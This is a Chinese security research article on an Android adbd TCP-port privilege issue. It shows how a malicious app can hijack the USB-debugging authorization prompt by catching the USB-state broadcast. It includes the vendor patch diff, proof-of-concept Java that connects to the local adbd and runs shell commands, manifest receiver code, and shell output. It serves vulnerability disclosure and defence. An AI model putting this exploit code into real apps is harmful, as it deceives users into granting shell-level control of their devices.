*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:Tasfa,本文属FreeBuf原创奖励计划,未经许可禁止转载
0x01 背景
adb由于拥有shell权限,因此仅在授权PC端后才可使用shell权限,而通过该漏洞,可以实现在移动端获取shell权限,以致于可随意删除应用、屏幕截图等等高权限操作。不过移动端恶意应用程序必须能够连接到adbd正在监听的TCP端口,这就需要应用程序在它的AndroidMainifest.xml中定义INTERNET权限。
而漏洞作者所用的攻击方法是构造一个覆盖窗口,劫持用户点击,也就是经典的hijack攻击。Google也据此修复了此种攻击方式。
但是,我经过尝试后发现,除了以上构造hijack攻击窗口外,还可以劫持USB广播,然后在用户进行正常的连接电脑操作时,劫持授权界面,使用户误导从而进行授权。也即造成新的劫持授权漏洞方案。
影响:
0x02 原理分析
为了能利用此adb配置漏洞,首先需要adb connect到adbd正在监听的端口,然后移动端会发起授权验证窗口,用户授权,验证通过后,可使用adb shell命令执行shell权限操作。
使用adb命令“adb tcpip port”来启用adbd以监听TCP端口
adb tcpip 5555
在启用了USB调试,且adbd正处于TCP端口监听的情况下,恶意应用程序可以利用自带的adb二进制文件连接adbd,或者可以实现adb server协议与adbd通信。如果adb server尚未被设备授权,则会触发认证请求并提示用户验证并接受RSA公钥(引用[2])。但此认证框可被覆盖(Google已经修复),具体可见参考文章。
分析下diff:
diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
index f5447a2..329dd99 100644
--- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
+++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
@@ -31,8 +31,12 @@
import android.os.SystemProperties;
import android.util.Log;
import android.view.LayoutInflater;
+import android.view.MotionEvent;
import android.view.View;
+import android.view.Window;
+import android.view.WindowManager;
import android.widget.CheckBox;
+import android.widget.Toast;
import com.android.internal.app.AlertActivity;
import com.android.internal.app.AlertController;
@@ -48,6 +52,10 @@
@Override
public void onCreate(Bundle icicle) {
+ Window window = getWindow();
+ window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS);
+ window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG);
+
super.onCreate(icicle);
if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) {
@@ -79,6 +87,23 @@
ap.mView = checkbox;
setupAlert();
+
+ // adding touch listener on affirmative button - checks if window is obscured
+ // if obscured, do not let user give permissions (could be tapjacking involved)
+ //增加了对伪造窗口的认证判定,防止用户被误导授权
+ final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> {
+ // Filter obscured touches by consuming them.
+ if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0)
+ || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) {
+ if (event.getAction() == MotionEvent.ACTION_UP) {
+ Toast.makeText(v.getContext(),
+ R.string.touch_filtered_warning,
+ Toast.LENGTH_SHORT).show();
+ }
+ return true;
+ }
+ return false;
+ };
+ mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener);
}
问题:
1. 貌似只是对伪造窗口进行了防御,可漏洞难道不是因为TCP端口监听而造成提权吗?
2. 那也就是用户授权后,依旧可以在移动端获取shell权限?
结论:
确实可以在移动端获取到shell权限
思考
那如果假设能监听用户是否连接USB,在用户进行正常的USB连接PC操作时,劫持授权窗口,即弹出我们的授权,也可以造成用户误导授权。
结论:
确实可以构造接收广播,当USB连接到PC时,会优先弹出我们的授权窗口,从而误导用户获得授权
攻击思路:
静态注册监听USB连接状态的广播,优先级设置为最高
一旦监听到连接,启动后台service,执行连接命令
此时会优先弹出我们的授权窗口,由于授权窗口并没有说明来自哪里的弹窗,见下图对比,仅仅是RSA指纹不同,即使是技术人员,也很难识别是来自哪里的授权窗口。
PC端授权窗口
apk恶意授权窗口
0x03 漏洞利用
试验环境: Android 4.4.4 Nexus 5
PC端执行
adb tcpip 5555
作者攻击思路验证Poc:
private void escalatePrivilege() {
/*
如果大于android 6.0
需要使用预编译的adb可执行二进制文件
*/
try {
String[] connectCmd = {"adb","connect","127.0.0.1:5555"};
String[] idCmd = {"adb","shell","id"};
execCommand(connectCmd);
execCommand(idCmd);
} catch (Exception e) {
Log.d(TAG, "escalatePrivilege: " + e.toString() );
}
}
private void readData(InputStream inputStream){
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String data ;
while (true) {
try {
data = reader.readLine();
if(data == null) {
break;
}
Log.d(TAG, "output: " + data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private Process execCommand(String[] cmds){
ProcessBuilder builder = new ProcessBuilder();
Process execCommandProcess = null;
builder.command(cmds);
builder.directory(this.getFilesDir());
builder.redirectErrorStream(true);
Map<String, String> env = builder.environment();
env.put("HOME", this.getFilesDir().toString());
env.put("TMPDIR", this.getFilesDir().toString());
try {
execCommandProcess = builder.start();
execCommandProcess.waitFor();
readData(execCommandProcess.getInputStream());
}catch (InterruptedException e){
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return execCommandProcess;
}
会弹出USB调试授权窗口,google已经修复此覆盖hijack漏洞。
Logcat输出:
output: connected to 127.0.0.1:5555
output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
备注:
可能在实验的时候,会没有弹出授权窗口,此时删除apk,撤销USB授权后,重启机器可还原环境。
0x04 思考部分攻击思路Exp
AndroidManifest.xml 增加USB广播:
<receiver
android:name=".UsbBroadcastReceiver"
android:enabled="true"
android:exported="true">
<intent-filter android:priority="100">
<action android:name="android.hardware.usb.action.USB_STATE"/>
</intent-filter>
</receiver>
然后在接收广播后,启动service,在onStartCommand中进行连接:
public int onStartCommand(Intent intent, int flags, int startId) {
Log.d(TAG, "onStartCommand: adb vul");
String[] connectCmd = {"adb","connect","127.0.0.1:5555"};
execCommand(connectCmd);
return super.onStartCommand(intent, flags, startId);
}
此时只要用户打开过该恶意应用,然后连接USB至电脑,则会弹出恶意的授权窗口:
只有用户点击一律允许后,再次连接usb才会弹出pc端的授权,也因此造成了用户的诱导.
0x05 防御与总结
防御
在进行试验的时候,漏洞利用阶段相对不稳定,有时候在连接的时候,并没有正常的弹窗,具体原因暂不明,后续有时间再研究。只要能正常弹出授权窗口,那么以上的攻击思路也即生效。
尽量在正规应用商店下载应用,不要授权来历不明的PC,注意授权的指纹信息
漏洞由于需要用户授权,也因此严重程度较低
总结
正向思考: 在用户进行正常授权后,可获得shell权限,也即可以在移动端实现静默安装、卸载等等功能。
通过授权劫持攻击,恶意应用可以在用户不知情的情况下获取高权限,从而对系统造成破坏。
0x06 参考
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